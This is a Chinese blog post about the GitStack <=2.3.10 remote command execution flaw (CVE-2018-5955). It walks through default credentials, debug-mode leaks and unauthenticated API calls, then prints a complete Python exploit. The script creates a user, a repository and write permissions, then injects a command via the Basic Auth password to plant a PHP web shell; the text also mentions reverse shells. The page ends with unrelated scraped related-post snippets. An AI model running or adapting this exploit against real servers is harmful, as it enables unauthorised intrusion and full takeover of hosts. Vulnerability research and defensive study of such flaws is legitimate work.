漏洞简介



漏洞简情


  • 漏洞程序 GitStack
  • 影响版本 <=2.3.10
  • 漏洞类型 RCE
  • 漏洞评价 高危
  • 漏洞编号 CVE-2018-5955

漏洞程序介绍


GitStack是一款基于Python(Django框架)和PHP的win平台下的git可视化平台。它存在很多问题,下面简单介绍一下所有的背景安全问题。这些背景安全问题将导致RCE漏洞的利用。

背景安全问题



默认弱口令admin/admin,以及口令提示


debug模式开启,泄露敏感信息


https://a.b.c.d/rest/settings/general/admin/

可以获取足够的有效信息

API未授权访问


举例如下:





RCE漏洞利用思路以及EXP




先利用未授权的api创建用户,然后利用未授权的api创建项目,然后把用户加入项目中。

我们来看EXP的代码部分:

def __userCheck(self):
'''用户检查'''
url = '%s/rest/user/'%self.target
try:
usersJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
try:
usersJson.remove('admin')
usersJson.remove('eyeryone')
except Exception, reason:
pass
if len(usersJson) > 0 and 'pentest' in usersJson:
self.user = 'pentest'
print '[+] 发现可用账户:',self.user
else:
try:
response = requests.post(url, data={'username':'pentest', 'password':'pentest'}, verify=False)
except Exception, reason:
print '[-] 创建用户失败'
exit(0)
if 'User created' not in response.text:
print '[-] 创建用户失败'
exit(0)
else:
print '[+] 创建用户成功'
self.user = 'pentest' def __repositoryCheck(self):
'''项目检查'''
url = '%s/rest/repository/'%self.target
try:
repositoryJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
if repositoryJson:
repository = repositoryJson[0]['name']
print '[+] 发现可用项目:',repository
self.repository = repository
else:
try:
response = requests.post(url, cookies={'csrftoken':'pentest'}, data={'name':'pentestgit', 'csrfmiddlewaretoken':'pentest'})
except Exception, reason:
print '[-] 创建项目失败'
exit(0)
if 'successfully create repository' not in response.text:
print '[-] 创建项目失败'
exit(0)
else:
print '[+] 创建项目成功'
self.repository = 'pentestgit' def __permissionCheck(self):
'''权限检查'''
url = url = '%s/rest/repository/%s'%(self.target,self.repository)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 权限检查失败'
exit(0)
users = response.json()['user_write_list']
flag = False
if len(users) > 0:
if self.user in [x['username'] for x in users]:
print '[+] 权限检查成功'
flag = True
if not flag:
url = '%s/rest/repository/%s/user/%s/'%(self.target, self.repository, self.user)
try:
response = requests.post(url, verify=False)
except Exception, reason:
print '[-] 加载权限失败'
exit(0)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证权限失败'
exit(0)
if 'true' in response.text:
print '[+] 权限加载成功'
else:
print '[-] 权限验证失败'
exit(0)

然后访问index.php,在访问index.php的时候访问该项目的时候回对用户名密码进行验证,这个地方使用的HttpBasicAuth进行验证,在password字段存在RCE漏洞,可有在这个地方构造Payload利用执行,然后就可以写入一句话,菜刀连接也好,反弹shell也好,创建用户名密码远程登录也好,都可以操作了。

def __attack(self):
'''攻击尝试'''
url = '%s/web/index.php?p=%s.git&a=summary'%(self.target, self.repository)
try:
response = requests.get(url, auth=HTTPBasicAuth(self.user, self.payload), verify=False)
except Exception, reason:
print '[-] 攻击失败'
exit(0)
url = '%s/web/gitstack.php'%self.target
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证攻击失败'
exit(0)
if response.status_code == 200:
print '[+] 攻击成功'
else:
print '[-] 尝试访问无效,攻击失败'
exit(0)

完整代码如下:


#!/usr/bin/env python
# -*- coding:utf-8 -*- '''
CVE-2018-5955 GitStack<= 2.3.10 远程命令执行漏洞 EXP 改进版
借鉴POC作者:CaijiOrz(GitHub账号)
作者:b0b@c
使用:仅限于学习、交流、公司内部使用
''' import requests
from optparse import OptionParser
from requests.auth import HTTPBasicAuth class Exploitor(object):
'''Rce漏洞利用器'''
def __init__(self, target, abusepath='c:\\GitStack\\gitphp', payload=None):
'''Rce漏洞利用器创建'''
self.target = target
self.abusepath = abusepath
if payload == None:
self.payload = "p && echo ^<?php echo @system($_POST['cmd']) ?^> > %s\\gitstack.php"%self.abusepath
else:
self.payload = "p && echo ^<?php %s ?^> > %s\\gitstack.php"%(self.payload, self.abusepath) def __userCheck(self):
'''用户检查'''
url = '%s/rest/user/'%self.target
try:
usersJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
try:
usersJson.remove('admin')
usersJson.remove('eyeryone')
except Exception, reason:
pass
if len(usersJson) > 0 and 'pentest' in usersJson:
self.user = 'pentest'
print '[+] 发现可用账户:',self.user
else:
try:
response = requests.post(url, data={'username':'pentest', 'password':'pentest'}, verify=False)
except Exception, reason:
print '[-] 创建用户失败'
exit(0)
if 'User created' not in response.text:
print '[-] 创建用户失败'
exit(0)
else:
print '[+] 创建用户成功'
self.user = 'pentest' def __repositoryCheck(self):
'''项目检查'''
url = '%s/rest/repository/'%self.target
try:
repositoryJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
if repositoryJson:
repository = repositoryJson[0]['name']
print '[+] 发现可用项目:',repository
self.repository = repository
else:
try:
response = requests.post(url, cookies={'csrftoken':'pentest'}, data={'name':'pentestgit', 'csrfmiddlewaretoken':'pentest'})
except Exception, reason:
print '[-] 创建项目失败'
exit(0)
if 'successfully create repository' not in response.text:
print '[-] 创建项目失败'
exit(0)
else:
print '[+] 创建项目成功'
self.repository = 'pentestgit' def __permissionCheck(self):
'''权限检查'''
url = url = '%s/rest/repository/%s'%(self.target,self.repository)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 权限检查失败'
exit(0)
users = response.json()['user_write_list']
flag = False
if len(users) > 0:
if self.user in [x['username'] for x in users]:
print '[+] 权限检查成功'
flag = True
if not flag:
url = '%s/rest/repository/%s/user/%s/'%(self.target, self.repository, self.user)
try:
response = requests.post(url, verify=False)
except Exception, reason:
print '[-] 加载权限失败'
exit(0)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证权限失败'
exit(0)
if 'true' in response.text:
print '[+] 权限加载成功'
else:
print '[-] 权限验证失败'
exit(0) def __attack(self):
'''攻击尝试'''
url = '%s/web/index.php?p=%s.git&a=summary'%(self.target, self.repository)
try:
response = requests.get(url, auth=HTTPBasicAuth(self.user, self.payload), verify=False)
except Exception, reason:
print '[-] 攻击失败'
exit(0)
url = '%s/web/gitstack.php'%self.target
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证攻击失败'
exit(0)
if response.status_code == 200:
print '[+] 攻击成功'
else:
print '[-] 尝试访问无效,攻击失败'
exit(0) def attack(self):
'''攻击过程'''
self.__userCheck()
self.__repositoryCheck()
self.__permissionCheck()
self.__attack() if __name__ == '__main__':
parser = OptionParser()
parser.add_option("-t", "--target", dest="target", help="Set Target")
parser.add_option("-p", "--payload", dest="payload", help="Set Payload")
parser.add_option("-f", "--filepath", dest="filepath", help="Set FilePath")
(options, args) = parser.parse_args()
if options.target in [None,'']:
print '[-] 请输入目标URL'
exit(0)
else:
if options.payload == None and options.filepath == None:
attacker = Exploitor(options.target)
elif options.payload != None and options.filepath == None:
attacker = Exploitor(options.target, payload=options.payload)
elif options.payload == None and options.filepath != None:
attacker = Exploitor(options.target, abusepath=options.filepath)
elif options.payload != None and options.filepath != None:
attacker = Exploitor(options.target, abusepath=options.filepath, payload=options.payload)
attacker.attack()

鸣谢



参考项目 https://github.com/CaijiOrz/exploits/blob/master/GitStack_2.3.10_Unauthenticated_RCE.py

参考博客 https://xz.aliyun.com/t/2235

GitStack系统RCE漏洞学习的更多相关文章

  1. CVE-2019-8341 Jinja2 RCE漏洞学习

    漏洞简述 漏洞简介 Jinja2.10版本,Environment的实例方法from_string,存在RCE,该函数在内部实现逻辑中,存在exec函数去执行了,from_string函数参数中的ji ...

  2. spark未授权RCE漏洞学习

    Spark简介 spark是一个实现快速通用的集群计算平台.它是由加州大学伯克利分校AMP实验室 开发的通用内存并行计算框架,用来构建大型的.低延迟的数据分析应用程序.它扩展了广泛使用的MapRedu ...

  3. 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”

    简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...

  4. Apache Solr JMX服务 RCE 漏洞复现

    Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...

  5. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  6. Windows XP与Windows 7系统常见漏洞

    1.Windows XP系统常见漏洞 Windows XP系统常见的漏洞有UPNP服务漏洞.升级程序漏洞.帮助和支持中心漏洞.压缩文件夹漏洞.服务拒绝漏洞.Windows Media Player漏洞 ...

  7. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  8. ThinkPHP-5.0.23新的RCE漏洞测试和POC

    TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...

  9. Zimbra无需登录RCE漏洞利用

    2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...

随机推荐

  1. Memcached Java Client比较

    JAVA客户端调用memcached比较 Memcached 客户端程序三种API的比较 Java开发中的Memcache原理及实现(五)Memcached客户端

  2. 【PCA】

    http://blog.csdn.net/xiaojidan2011/article/details/11595869 非常清楚 核心部分解释:主成份用于降纬,通过线型变换,从高纬度映射到低纬度,其中 ...

  3. Vue-router路由判断页面未登录跳转到登录页面

    router.beforeEach((to, from, next) => { if (to.matched.some(record => record.meta.requireAuth) ...

  4. windows2008 使用nginx 反向代理实现负载均衡解决HTTPS 证书问题

    由于项目需要 负载均衡由NBL 转成nginx 反向代理.考虑都是https模块,所以证书成了个难题. 解决方案: 1.下载openssl(windows 安装包) 2.打开bin/下面的openss ...

  5. 内省Introspector(反射操作javaBean)

    一:内省是一种特殊的反射,来更方便的操作javaBean对象,通过内省可以获取到类字节码的描述器, 然后解剖每一个字段,获取每个字段的读写方法,即get/set方法的反射,然后获取或者是封装bean的 ...

  6. 一份比较全面的PHP开发编码规范.

    这些年来多从事Linux下PHP和C相关的开发,带过很多项目和团队,下面是根据经验整理的PHP编码规范,可以用作给大家的范例和参考,根据需要进行取舍和修改! (可能最新的一些php5的规范不够完整,今 ...

  7. 手机APP支付--整合银联支付控件

    长话短说,本文根据银联官方说明文档,简单总结下,并且说明下中途碰到问题该如何解决. 一.开发前的准备工作1. 打开https://open.unionpay.com/,后续说的文档下载.FAQ查询等都 ...

  8. Mybatis -- 批量添加 -- insertBatch

    啦啦啦 ---------------InsertBatch Class : Dao /** * 批量插入perfEnvirons * * @author Liang * * 2017年4月25日 * ...

  9. 解决“Connection to https://dl-ssl.google.com refused”问题

    相信一些人刚开始搞android的安装开发环境的时候会遇到:Failed to fectch URl https://dl-ssl.google.com/android/repository/addo ...

  10. mybatis 之resultType="HashMap" parameterType="list"

    <!-- 查询商品仓库信息 --> <select id="loadGoodsStock" resultType="HashMap" para ...